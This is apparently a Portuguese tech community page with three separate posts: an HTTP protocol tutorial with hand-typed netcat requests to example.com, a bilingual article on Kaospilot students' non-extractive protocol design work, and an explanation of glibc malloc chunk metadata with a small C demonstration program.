    Uma sessão HTTP é uma sequência de transmissões no formato: requisição-resposta. O cliente -- não necessariamente um navegador -- inicia uma requisição estabelecendo uma conexão TCP, normalmente na porta 80 do servidor; ou uma conexão TLS sobre TCP, normalmente na porta 443 do servidor. Em seguida, envia a mensagem de requisição ao servidor.
    O servidor, esperando a conexão, aguarda a mensagem de requisição do cliente. Ao recebê-la, processa-a e responde ao cliente enviando um código de estado seguido de sua resposta. A reposta do servidor pode conter o documento requerido, um erro ou outras informações.
    Como discutido na seção anterior, conexões podem ser reusadas para o envio de múltiplas requisições.
    Independentemente o reuso de conexões, o protocolo HTTP é um protocolo "stateless", isto é, informações de estado não são mantidas pelo receptor -- neste caso, o servidor -- entre requisições. Cada requisição pode ser entendida isoladamente.
    Para implementar manutenção de estado da sessão, é necessário utilizar-se extensões ao HTTP. Por exemplo, aplicações podem utilizar Cookies, parâmetros na URL ou parâmetros escondidos em formulários HTML.
    Mensagem HTTP
    As mensagens do protocolo HTTP são compostas por:
    Uma linha inicial, cujo formato varia entre requisição e resposta; Possivelmente uma sequência de cabeçalhos; Uma linha vazia; Possivelmente um corpo da mensagem. As linhas são separadas pelos caracteres "<CR><LF>": os caracteres "carriage return" e "line feed" da tabela ASCII, representados pelos valores 0x0D e 0x0A em hexadecimal ou os caracteres "\r\n" na notação de strings de C.
    Por exemplo, na mensagem:
    GET / HTTP/1.1 Host: www.example.com User-Agent: curl/7.64.1 Accept: */* Temos a linha inicial "GET / HTTP/1.1" os cabeçalhos "Host: www.example.com", "User-Agent: curl/7.64.1" e "Accept: */*", a linha vazia, e nenhum corpo. Já na mensagem:
    HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://www.example.com/ <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.14.2</center> </body> </html> Temos a linha inicial "HTTP/1.1 301 Moved Permanently", os cabeçalhos "Server: nginx/1.14.2", "Content-Type: text/html", "Content-Length: 185", "Connection: keep-alive" e "Location: https://www.example.com/", a linha vazia, e o corpo "<html>...</html>".
    Cabeçalhos
    Os cabeçalhos são formados por pares chave-valor da forma:
    Uma chave case-insensitive, isto é, ignorando maíusculas e minúsculas; Um caractere ":" possivelmente seguido de espaços em branco; Um valor; Possivelmente espaços em branco. Cada cabeçalho é separado do próximo por uma quebra de linha contendo "<CR><LF>".
    Observe que nem a chave nem o valor do cabeçalho podem conter os caracteres "<CR><LF>", caso contrário um novo cabeçalho é iniciado. Caso o tipo de dado a ser a ser transmitido no cabeçalho possa conter quebras de linha, é necessário codificá-lo com uma codificação que não produza "<CR><LF>". Uma codificação comumente utilizada para isso é a codificação por cento, também chamada de codificação URL.
    Corpo da mensagem
    O corpo da mensagem é um campo opcional. Apenas alguns tipos de requisições e alguns tipos respostas permitem ou necessitam de um corpo de mensagem.
    A presença de um corpo de mensagem é sinalizado pelos cabeçalhos "Content-Length" ou "Transfer-Encoding". O primeiro é usado para sinalizar o número de bytes que compõem o corpo da mensagem, o segundo é usado quando se deseja transmitir um corpo de forma seccionada ("chunked") ou comprimida, por exemplo. Apenas um dentre "Content-Length" e "Transfer-Encoding" devem ser usados em uma mesma mensagem.
    Requisição
    As requisições HTTP são compostas de uma mensagem HTTP cuja linha inicial contém:
    O método, ou verbo, que representa o comando a ser executado; O recurso alvo da requisição; A versão do protocolo: por exemplo, "HTTP/1.1". Além disso, em toda requisição, é necessário informar o cabeçalho "Host". Seu valor deve conter o nome de domínio do website ou servidor a ser acessado. O nome de domínio utilizado nesse cabeçalho deve resolver para um enderço IP do servidor.
    Usando novamente o exemplo da seção anterior,
    GET / HTTP/1.1 Host: www.example.com User-Agent: curl/7.64.1 Accept: */* A linha inicial dessa requisição contém o método "GET", o recurso "/" e a versão do protocolo "HTTP/1.1".
    Métodos
    Os métodos, ou verbos, do protocolo HTTP definem a operação que se deseja realizar com o recurso especificado.
    O RFC 7231 define os métodos:
    GET: Requer uma representação do recurso especificado. No caso mais simples, apenas uma representação existe e ela é retornada. Múltiplas representações podem existir e serem negociadas através de cabeçalhos `Accept`, por exemplo; HEAD: O mesmo que GET, mas sem que o servidor inclua o corpo da respota; POST: Requer que o servidor processe o corpo da mensagem de requisição de acordo com as regras aplicáveis ao recurso especificado; PUT: Requer que o servidor troque todas as representações atuais do recurso especificado, pelo conteúdo do corpo da mensagem de requisição; DELETE: Requer que o servidor apague todas as representações atuais do recurso especificado; CONNECT: Requer o estabelecimento de um túnel para o servidor identificado pelo recurso especificado. Seu uso é esperado apenas para controlar proxies HTTP. OPTIONS: Requer informações sobre as opções de comunicação disponíveis para o recurso especificado. Em particular, o servidor responde com os métodos permitidos para aquele recurso. Caso suportado, pode também ser usado para obter informações sobre o próprio servidor ao se especificar o recurso "*"; TRACE: Requer que o servidor repita a mensagem recebida de volta para o cliente, para que o cliente possa investigar modificações na mensagem causadas por intermediários. Um outro método comumente aceito por servidores é definido no RFC 5789:
    PATCH: Requer que o servidor altere todas as representações do recurso especificado de acordo com as modificações descritas no corpo da mensagem de requisição. O RFC 7231 define também o conceito de Métodos Seguros ("safe"): aqueles cuja semântica é essencialmente de somente leitura e, portanto, não devem causar nenhuma mudança significativa no servidor ou no recurso. Esse é o caso de "GET", "HEAD", "OPTIONS" e "TRACE". Essa definição é importante porque guia o comportamento esperado de clientes como navegadores, caches e robôs que varrem a web. Apesar disso, nada impede que aplicações incluam comportamentos perigosos, que não sejam apenas leitura ou que causem efeitos colaterais enquanto processam métodos seguros.
    Um outro conceito definido pelo RFC 7231 é o de Métodos Idempotentes: aquele cujo efeito de aplicá-los multiplas vezes é o mesmo que o de aplicá-los apenas uma vez. Esse é o caso dos métodos "PUT", "DELETE" e de todos os métodos seguros. A importância desta definição é que clientes podem reenviar essas requisições -- por exemplo, caso algo dê errado com a conexão -- sabendo que o efeito do reenvio vai ser o mesmo que caso o primeiro envio tenha sido bem sucedido. Assim como em relação aos métodos seguros, nada impede que aplicações incluam efeitos não idempotentes no processamento de métodos idempotentes.
    A lista completa de métodos padronizados pode ser encontrada em Hypertext Transfer Protocol (HTTP) Method Registry.
    Resposta
    As respostas HTTP são compostas de uma mensagem HTTP cuja linha inicial contém:
    A versão do protocolo ("HTTP/1.1", por exemplo); O código de estado, sinalizando se a requisição foi bem sucedida ou não; Uma mensagem de estado, contendo uma curta descrição do código de estado. Usando novamente o exemplo da seção anterior,
    HTTP/1.1 301 Moved Permanently Server: nginx/1.14.2 Content-Type: text/html Content-Length: 185 Connection: keep-alive Location: https://www.example.com/ <html> <head><title>301 Moved Permanently</title></head> <body bgcolor="white"> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx/1.14.2</center> </body> </html> A linha inicial dessa resposta contém a versão do protocolo "HTTP/1.1", o código de estado "301" e a mensagem de estado "Moved Permanently". Essa mensagem também possui um documento HTML como corpo, que pode ser exibido ao usuário.
    Devido ao seu conteúdo, a linha inicial da resposta HTTP é também chamada de linha de estado.
    O cliente processa a resposta HTTP primariamente baseado em seu código de estado e depois baseado nos seus cabeçalhos. A mensagem de estado serve apenas de caráter informativo.
    Códigos de estado
    Códigos de estado são inteiros de três digitos que sinalizam o resultado do processamento da mensagem de requisição. Eles são organizados em classes baseadas em seu primeiro dígito:
    1xx (Informativo): A requisição foi recebida, continuando a processá-la; 2xx (Bem sucedido): A requisição foi recebida, entendida e aceita; 3xx (Redirecionamento): Mais ações do cliente são necessárias para completar a requisição; 4xx (Erro do cliente): A requisição possui erros de sintaxe ou não pode ser atendida; 5xx (Erro do servidor): O servidor não conseguiu atender uma requisição aparentemente válida; A lista de códigos de estado é extensível. Clientes não precisam conhecer todos os códigos de estado, porém devem poder reconhecê-los por sua classe baseado em seu primeiro dígito.
    A lista completa de códigos de estado padronizados pode ser encontrada em Hypertext Transfer Protocol (HTTP) Status Code Registry.
    Exemplo
    Para exemplificar o que vimos até agora, podemos experimentar o protocol manualmente usando o comando "netcat" (também representado pelo comando "nc") ou pelo "telnet".
    Para isso, primeiro executamos "nc www.example.com 80" para nos conectarmos à porta "80" do servidor em "www.example.com".
    $ nc www.example.com 80 Agora escrevemos nossa mensagem de requisição: um método "HEAD" para o recurso "/":
    HEAD / HTTP/1.1 Host: www.example.com Note que é necessário enviar uma linha em branco, marcando o final dos cabeçalhos e, no caso do método "HEAD", também o final da requisição.
    O servidor então nos responde com a mensagem de resposta:
    HTTP/1.1 200 OK Content-Encoding: gzip Accept-Ranges: bytes Age: 327597 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Fri, 14 May 2021 11:50:22 GMT Etag: "3147526947+ident" Expires: Fri, 21 May 2021 11:50:22 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (nyb/1D2A) X-Cache: HIT Content-Length: 648 Podemos reusar a mesma conexão para enviar a próxima mensagem de requisição. Desta vez tentaremos um "POST" para o recurso "/", porém mal-formado, faltando o corpo da mensagem:
    POST / HTTP/1.1 Host: www.example.com O servidor então nos responde com o erro:
    HTTP/1.1 411 Length Required Content-Type: text/html Content-Length: 357 Connection: close Date: Mon, 17 May 2021 02:19:46 GMT Server: ECSF (nyb/1D13) <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>411 - Length Required</title> </head> <body> <h1>411 - Length Required</h1> </body> </html> Note que, como é de se esperar, visto que enviamos uma requisição mal-formada, o código de estado se refere a um erro da classe "4xx" (erro do cliente).
    Abaixo o que se espera da comunicação completa:
    $ nc www.example.com 80 HEAD / HTTP/1.1 Host: www.example.com HTTP/1.1 200 OK Accept-Ranges: bytes Age: 552546 Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 Date: Mon, 17 May 2021 02:19:31 GMT Etag: "3147526947" Expires: Mon, 24 May 2021 02:19:31 GMT Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT Server: ECS (nyb/1D13) X-Cache: HIT Content-Length: 1256 POST / HTTP/1.1 Host: www.example.com HTTP/1.1 411 Length Required Content-Type: text/html Content-Length: 357 Connection: close Date: Mon, 17 May 2021 02:19:46 GMT Server: ECSF (nyb/1D13) <?xml version="1.0" encoding="iso-8859-1"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>411 - Length Required</title> </head> <body> <h1>411 - Length Required</h1> </body> </html> Caso queira experimentar outros métodos, abaixo seguem alguns exemplos de mensagens de requisição para enviar.
    GET / HTTP/1.1 Host: www.example.com  
    OPTIONS / HTTP/1.1 Host: www.example.com Caso queira testar com outros servidores, altere tanto o endereço ao qual se conecta no "netcat" ou "telnet", como o valor do cabeçalho "Host" para o servidor ao qual está se conectando.
    Referências
    https://en.wikipedia.org/wiki/Hypertext https://pt.wikipedia.org/wiki/Hipertexto https://en.wikipedia.org/wiki/HTTP_pipelining https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview https://developer.mozilla.org/en-US/docs/Web/HTTP https://en.wikipedia.org/wiki/HTTPS https://en.wikipedia.org/wiki/Stateless_protocol https://en.wikipedia.org/wiki/List_of_HTTP_header_fields https://en.wikipedia.org/wiki/HTTP_message_body

    Joana Mao
    Um grupo de seis kaospilots (alunos da Kaospilot, uma escola dinamarquesa de empreendedorismo e impacto social) colaborou nos últimos meses com uma rede social descentralizada, para reescrever um novo protocolo que atende e beneficia as necessidades de comunidades nativas na Nova Zelândia e na Índia. O objetivo principal era desenhar um processo de design não extrativista. Onde as necessidades das comunidades pudessem ser identificadas e ao mesmo tempo que suas identidades culturais fossem preservadas.
    A team of six kaospilots (students from Kaospilot, a danish school of entrepreneurship and social impact) have collaborated with a decentralized social network in recent months to rewrite  the network's protocol in order to serve and benefit the needs of native communities in New Zealand and India. The main goal was to design a non-extractive process by which the needs of the communities would be identified while preserving their cultural identities.
    Para discutir algumas das descobertas e desafios desse projeto sistêmico, os kaospilots conversaram com Antonio Marcos Alberti, PhD em Eletrônica e Telecomunicações, criador da NovaGenesis e pioneiro no design da Internet do Futuro. O diálogo foi assistido por uma audiência ao vivo no dia 11 de maio e posteriormente publicado na rede brasileira RenaSCIdade. 
    To discuss some of the findings and challenges of this systemic project the kaospilots sat down in dialogue with Antonio Marcos Alberti, PhD in Electronics and Telecommunications, the creator of NovaGenesis and a pioneer in Future Internet. The dialogue was viewed by a live audience on may 11th and was later published at the brazilian network RenaSCIdade.  
    Este artigo é uma pós-vida reflexiva deste diálogo e é co-escrito entre o grupo de alunos e o professor Alberti. Aqui, faremos uma reflexão sobre os tópicos de criação de valor, testes de usuários não extrativistas e o futuro do design da Internet.
    Não será fornecido um resumo do diálogo e recomendamos que o leitor veja o diálogo na íntegra através do vídeo:
    This article is a reflective afterlife of the dialogue that took place and it is co-written between the kaospilot team and professor Alberti. We will reflect on the topics of Value creation, Non-extractive user testing and the future of internet design.
    A resume of the dialogue will not be given and we recommend that the reader view the dialogue in full through the video:
     
     
     
    É POSSÍVEL MEDIR A CRIAÇÃO DE VALOR SISTÊMICO? / IS MEASURING SYSTEMIC VALUE CREATION POSSIBLE?
    O primeiro tópico da conversa dizia respeito à criação e medição de valor em um trabalho sistêmico.
    Assim que se começa a trabalhar sistematicamente, surgem as perguntas: Como podemos medir se estamos avançando ou não? Como medir se o processo de cocriação está agregando valor ao trabalho? E a métrica da prosperidade?
    Analisar o efeito da cocriação na prosperidade de um sistema é difícil. A prosperidade em si é multidimensional e pode acontecer em termos de economia, economia de tempo, aprendizado, treinamento de liderança, troca de conhecimento, etc.
    The first topic held in conversation concerned the creation and measurement of value in systematic work.
    As soon as you start working systematically the questions arise: How can we measure whether we are advancing or not? How do you measure whether the co-creation process is adding value to the work? And the metric of prosperity, in fact? 
    Analyzing the effect of co-creation on prosperity of a system is difficult. Prosperity itself is multidimensional and can happen in terms of economics, time savings, learning, leadership training, knowledge exchange etc.

    Como um sistema é um corpo complexo formado por indivíduos e interações dinâmicas, ele não é previsível, linear ou estático. Portanto, ter qualquer previsão sobre como e quando medir o valor de um trabalho sistêmico é um processo complexo ou talvez até impossível. Só podemos saber os resultados exatos de um processo sistêmico depois que a dinâmica é colocada em prática. É como na natureza, só podemos calcular as probabilidades de que um experimento tenha um determinado resultado, mas só saberemos o resultado efetivamente após o cálculo (realizando as trocas e dinâmicas em grupo).
    As a system is a complex body made up of individuals and dynamic interactions, it is not predictable, linear and static. So, having any prediction on how and when to measure value is a complex process or maybe even impossible. We may only be able to know the exact outcomes of a systematic process after the dynamics are put into effect. It is like in nature, we can only calculate probabilities that an experiment will have a certain result, but we will only know the result effectively after computing (performing the exchanges and dynamics in a group).
    À medida que o projeto desdobrava seus efeitos, os kaospilots receberam feedback de stakeholders com as quais trabalharam, como: "O método que vocês definiram para trabalhar nesse processo de mudança de forma mais embasada no diálogo, abriu a minha mente sobre como eu devo abordar o nosso trabalho no futuro ”. - líder da comunidade
    As the project unfolded its effects the kaospilots received feedback from parts of the stakeholders they had worked with stating the following: “The method you have framed for working with the change process in a more dialogue based way has given me food for thought on how I should approach our future work”. - community leader
    Este feedback mostra que o valor surgirá organicamente. É importante romper com os modelos lineares para sermos liderados por processos de cocriação. A geração de valor surge como um comportamento social mais do que um resultado quantificável.
    As seen in this feedback the value will emerge organically. It is important to break free from linear models and be led by co-creation processes. The generation of value emerges as a social behavior more than a quantifiable result.
     
    EXISTE TESTE DO USUÁRIO NÃO EXTRATIVISTA? / DOES NON-EXTRACTIVE USER TESTING EXIST?

    Ao discutir o potencial dos testes de usuários não extrativistas, descobrimos que o termo parece ser novo no campo, já que o Prof. Alberti confirmou que foi a primeira vez que ouviu falar dele.
    Upon discussing the potential of non-extractive user testing we found that the term seems to be new in the field as Prof. Alberti confirmed it was his first time hearing of it. 
    O grupo da Kaospilot tem tido dificuldades com o termo e sua definição e, embora o objetivo do termo seja redefinir como a indústria de tecnologia inclui as perspectivas de seus usuários em seu design, a conotação das palavras pode não ser adequada. Uma pergunta que surge disso é: tentando não ser extrativista em relação aos usuários, o termo “teste do usuário” serve ao propósito ou precisamos renomear o processo de incluir as perspectivas do usuário? Alguém poderia argumentar que o teste do usuário tem uma conotação sedimentada para a extração em sua história. Uma reformulação poderia ser: "Capacitação  de inclusão de usuários”?
    Uma vez que o termo e o propósito por trás dele podem ainda estar em um estágio pioneiro, parece que temos a possibilidade de moldar sua denominação e a sua prática.
    The kaospilot team have been juggling with the term and its definition for weeks and though the purpose of the term is to redefine how the tech industry includes the perspectives of its users in it’s design the connotation of the words might not be fitting. One question arising from that is: If one attempts to be non-extractive towards one's users will “user testing” then serve the purpose or do we need to rename the process of including user perspectives? One could argue that user testing has a sedimented connotation to extraction in its history. Could a rephrasing be: “Capacity building user inclusion”?  
    Since the term and the purpose behind it may yet be at a pioneering stage it seems that we might have the possibility to shape it’s phrasing and practice.
     
    O FUTURO DO DESIGN DA INTERNET SERÁ FEITO POR HUMANOS?/ IS THE FUTURE OF INTERNET DESIGN MADE BY HUMANS?
    “Prepare-se para a cocriação híbrida entre máquinas e pessoas. Ela precisará ser multidisciplinar. Será difícil ter programadores capazes de implementar protocolos, compreender as leis sistêmicas, empatia, comunicação não violenta e preservação de culturas. ” - Antonio Alberti
    “Get ready for hybrid co-creation with machines and people. It needs to be multidisciplinary. It will be difficult to have programmers that are capable of implementing protocols, understanding the systemic laws, empathy, non-violent communication and preservation of cultures.” - Antonio Alberti 
    Aproveitar os avanços tecnológicos exponenciais para co-criar novos modelos e tecnologias baseadas em valores humanos se faz necessário. Só assim poderemos transformar realidades de forma ética, respeitosa, inclusiva, não extrativista e preservando a diversidade. O desenho de alternativas à Internet passa por esse caminho de cuidado, inclusão e equilíbrio emocional, aliado ao aprimoramento técnico.
    Taking advantage of exponential technological advances to co-create new models and technologies based on human values is a must. Only in this way can we transform realities in an ethical, respectful, inclusive, non-extractive way, preserving diversity.  The design of alternatives to the Internet goes through this path of care, inclusion and emotional balance, coupled with technical improvements.
    Temos que aceitar que estamos observando uma mudança dramática no jogo - uma ruptura em termos do papel futuro dos aspectos humanos na criação de valor. Conforme a tecnologia evolui para uma inteligência mais complexa, os humanos precisam trabalhar junto com a tecnologia para ensinar a inteligência a respeitar a cultura e fornecer bons exemplos para o futuro do design da Internet.
    We have to accept that we are observing a dramatic change of the game – a disruption in terms of the future role of the human aspects in value creation. As technology evolves towards more complex intelligence; humans need to work together with technology to teach the intelligence to be respectful of culture and provide good examples for the future of Internet design.

     
    Sobre os co-autores/ About the co-authors
    Kaospilot - Cohort 4: A Kaospilot é uma escola de liderança criativa e empreendedorismo com significado. Durante o programa de formação, um semestre é dedicado a um projeto de Liderança Sistêmica (SLA) para praticar o pensamento sistêmico em projetos reais. O SLA Cohort 4 é um grupo de kaospilots formado por Joana Mao,  Alexander Haals, Anna Elkjær, Martin Hejl, Lazlo Denis e Anders Jahn. Juntos eles mergulharam no mundo do design da internet do futuro colaborando com uma rede social descentralizada com o desafio de reescrever um novo protocolo com respeito `as necessidades em estruturas de comunicação de comunidades.
    Kaospilot - Cohort 4: Kaospilot is a school of creative leadership and meaningful entrepreneurship in Denmark. During its education program, a full semester is dedicated to a Systemic Leadership Assignment (SLA) to practice systemic thinking in real world projects. The SLA Cohort 4 was a team of kaospilots formed by Joana Mao, Alexander Haals, Anna Elkjær, Martin Hejl, Lazlo Denis and Anders Jahn. Together they dove into the world of future internet design collaborating with a decentralized social network with the challenge of rewriting a new protocol to respect the cultural needs of communities in communication structures.
    Antonio Marcos Alberti é engenheiro, professor, coordenador do Information and Communications Technologies (ICT) Laboratory do Inatel e programador C/C++. É doutor em Eletrônica e Telecomunicações pela Unicamp e pós-doutor pelo Electronics and Telecommunications Research Institute (ETRI) da Coréia do Sul. Autor de mais de 100 artigos científicos. Já ministrou mais de 60 palestras sobre tecnologia e suas disrupções, incluindo HackTown, Futurecom, Exponential Conference, Campus Party, TEDxInatel, Pint of Science, Ciência no Boteco, etc. Colunista do Olhar Digital, EngenhariaÉ e Futurecom Digital. Pai da arquitetura NovaGenesis. Contribuiu para documento de requisitos para Internet do Futuro na Coréia do Sul e nas discussões iniciais do Plano Nacional de M2M/IoT. Criador do movimento de empreendedorismo social em rede chamado Renascidade e autor da parte técnica do projeto de Integração de Soluções IoT para Cidades Inteligentes financiado pelo BNDES.  Hacker de tendências, pioneiro da Internet do futuro e consultor.
    Antonio Marcos Alberti is an engineer, professor, head of the Information and Communications Technologies (ICT) Laboratory at Instituto Nacional de Telecomunicações (INATEL), Brazil, and a C/C ++ programmer. He holds a PhD in Electronics and Telecommunications from Unicamp, Brazil, and a post-doctoral degree from Electronics and Telecommunications Research Institute (ETRI), Korea. He is the author of more than 100 scientific articles. He has lectured more than 60 talks about technology and its disruptions, including talks at HackTown, Futurecom, Campus Party, TEDxInatel, Pint of Science, Science in Boteco, etc. He is columnist of Olhar Digital, EngenhariaÉ and Futurecom. Chief architect of NovaGenesis future Internet project (since 2008). Creator of the social network entrepreneurship movement called Renascidade. He has contributed for Future Internet in South Korea and in the initial discussions of the Brazilian National M2M/IoT Plan. Trend hacker, Future Internet pioneer and consultant.
     
     

    Felipe.Silva
    A heap é uma estrutura especial de memória usada pelo processo. O que tem de especial nela é o fato de seu tamanho ser variável, já que sua memória pode ser alocada ou desalocada dinamicamente pelo processo. Isso pode ser feito usando syscalls do sistema operacional e o mesmo é responsável por alocar mais páginas de memória para a seção caso seja necessário.
    No Linux o segmento de dados pode ser aumentado ou diminuído usando a syscall brk, e é esse espaço de memória que os programas normalmente usam para a heap. Em C nós normalmente não usamos a heap diretamente e, ao invés disso, usamos a função malloc() e semelhantes para lidar com a alocação dinâmica de memória. O que alguns não sabem é que na verdade chamadas para a função malloc() ou free() não necessariamente irão resultar na alocação ou desalocação de memória para o processo. Isso se dá porque é a libc quem de fato gerencia a heap e nós não estamos diretamente solicitando ou liberando memória para o sistema operacional.
    *libc é a biblioteca padrão da linguagem C que contém funções essenciais para tarefas básicas como: Manipulação de strings e arquivos, entrada e saída de dados, funções básicas de matemática etc.
    A função malloc(), de acordo com a implementação da glibc, usa o segmento de dados, o dividindo em uma ou mais regiões de memória que eles chamam de “arenas”. A arena principal corresponde à heap original do processo, porém outras arenas também podem ser alocadas para o processo. Inicialmente cada thread criada no processo tem uma arena individual até atingir um certo limite pré-definido de arenas que podem ser alocadas no processo. Atingindo esse limite, as threads posteriores passam a compartilhar a mesma arena. Em cada arena de memória existem divisões da memória que são chamadas de maneira homônima de heap, e são nessas heaps que a função malloc() de fato aloca memória para o usuário da libc.
    Cada bloco de memória que malloc() aloca na heap é chamado de chunk, e cada chunk contém metadados usados pelo sistema interno de malloc para organizar a heap como uma lista duplamente encadeada. Para fins de ilustração, abaixo está a estrutura de um chunk, usada na glibc:
    struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; INTERNAL_SIZE_T mchunk_size; struct malloc_chunk* fd; struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; struct malloc_chunk* bk_nextsize; O valor mchunk_prev_size seria o tamanho do chunk anterior e mchunk_size o tamanho do chunk atual. Os ponteiros *fd e *bk são usados somente quando o chunk está livre, e seriam ponteiros usados para a lista circular duplamente encadeada de chunks que apontam para o chunk posterior e anterior, respectivamente. No entanto, essa estrutura não representa muito claramente como o chunk é de fato usado pelo sistema de malloc, na figura abaixo isso é ilustrado com mais precisão.

    O ponteiro que malloc() retorna não aponta para o início do chunk mas sim para o início do espaço de memória que pode ser usado pelo usuário. O tamanho do espaço de memória de um chunk é alinhado pelo tamanho de um double word na arquitetura. Caso malloc() seja chamado passando um tamanho desalinhado como argumento, um espaço extra é alocado para manter o alinhamento. Por exemplo, se o alinhamento está sendo feito para 8 bytes e malloc é chamada com 9 como argumento, malloc irá te devolver um chunk com 16 bytes de espaço de memória usável. Além do alinhamento no tamanho do chunk, também existe um alinhamento no endereço de memória retornado por malloc() que é sempre alinhado para o tamanho de uma word. Isso é feito porque em algumas arquiteturas esse alinhamento de memória é necessário para se evitar uma exceção. Em outras arquiteturas (x86, por exemplo) o alinhamento melhora a performance do processador no acesso à memória.
    Como existe esse alinhamento no tamanho de um chunk isso garante que os três bits menos significativos de mchunk_size não sejam necessários para definir o tamanho do chunk. Se aproveitando disso, os três últimos bits são usados como flags para determinar alguns metadados usados pelo sistema de chunks.

    O bit M indica que o chunk não pertence a nenhuma arena e, ao invés disso, foi alocado dinamicamente em uma memória mapeada. Caso este bit esteja ligado, os outros dois são ignorados. No contexto de um chunk livre este bit está sempre desligado, tendo em vista que a lista encadeada de chunks livres somente se aplica a chunks que estão em alguma arena.
    Os chunks diretamente mapeados na memória (com bit M ligado) são criados para chunks muito grandes. Esses chunks quando liberados com a função free() são imediatamente liberados da memória. Por outro lado, usar free() em um chunk comum não necessariamente irá liberar memória para o sistema operacional. O que free() faz nesse caso é marcar o chunk como livre o adicionando de volta à lista de chunks livres. Assim como é indicado nesse trecho da glibc:
    /* Mark the chunk as belonging to the library again. */ (void)tag_region (chunk2mem (p), memsize (p)); Repare como o comentário descreve a ação como “marcar o chunk como pertencente à biblioteca novamente”, e é efetivamente isso que a função free() faz, não sendo necessariamente uma liberação de memória para o sistema operacional. Inclusive um recurso de otimização que a glibc usa é o que eles chamam de tcache (Thread Local Cache), que se trata de uma lista de chunks existente em cada thread individualmente. Quando você aloca um novo chunk na thread e posteriormente o libera, ele é adicionado ao tcache daquela thread e pode ser reutilizado em uma nova alocação posterior.
    Um adendo que a função free() pode efetivamente liberar memória para o sistema operacional se houver vários chunks livres no topo do segmento de dados (o que raramente acontece). Ela faz isso chamando a função interna systrim(), que por sua vez (no Linux) usa a syscall brk para diminuir novamente o segmento de dados.
    Um detalhe interessante que vale citar aqui é que na glibc (no Linux) existem as funções brk e sbrk que servem como wrappers para aumentar/diminuir o segmento de dados. O sistema de liberação de memória do systrim() espera que essas funções não sejam utilizadas diretamente para poder fazer a liberação de memória apropriadamente. Se você usá-las em seu código por algum motivo, irá “quebrar” o sistema de liberação de memória automático do free(), o fazendo não mais liberar memória quando é usado em chunks de arenas. Logo, não é recomendável que você use essas funções diretamente a menos que você esteja implementando seu próprio sistema de gerenciamento de memória dinâmica.
    O código abaixo é um experimento a fim de vermos na prática os metadados do chunk no Linux:
    // gcc test.c -o test #include <stdio.h> #include <stdlib.h> int main(void) { size_t *content = malloc(8); size_t chunk_size = content[-1] & ~0b111; size_t chunk_flags = content[-1] & 0b111; printf("size: %zu\nflags: %zu\n", chunk_size, chunk_flags); return 0; } No meu Linux é retornado 32 como tamanho do chunk e 1 como flag, indicando que somente o bit P está ligado. Sugiro ao leitor variar o tamanho passado para malloc a fim de comprovar que o alinhamento do tamanho do chunk de fato ocorre. Também sugiro passar um número grande para malloc() a fim de ver a partir de qual tamanho malloc() irá deixar de usar uma arena e irá alocar o chunk com mmap(). Caso isso ocorra o bit M será ligado e o número 2 (decimal) será indicado como flags.
    Nota: Esse código propositalmente não utiliza free() antes de finalizar o programa. É redundante e desnecessário usá-la quando o programa é finalizado, tendo em vista que todas as páginas de memória usadas pelo processo serão liberadas pelo sistema operacional.
    Referências
    https://man7.org/linux/man-pages/man2/brk.2.html https://sourceware.org/glibc/wiki/MallocInternals https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e2d7b1b58396906375ba0e953a20ac57f0904378;hb=refs/heads/master http://c-faq.com/malloc/freeb4exit.html

×
×
  • Create New...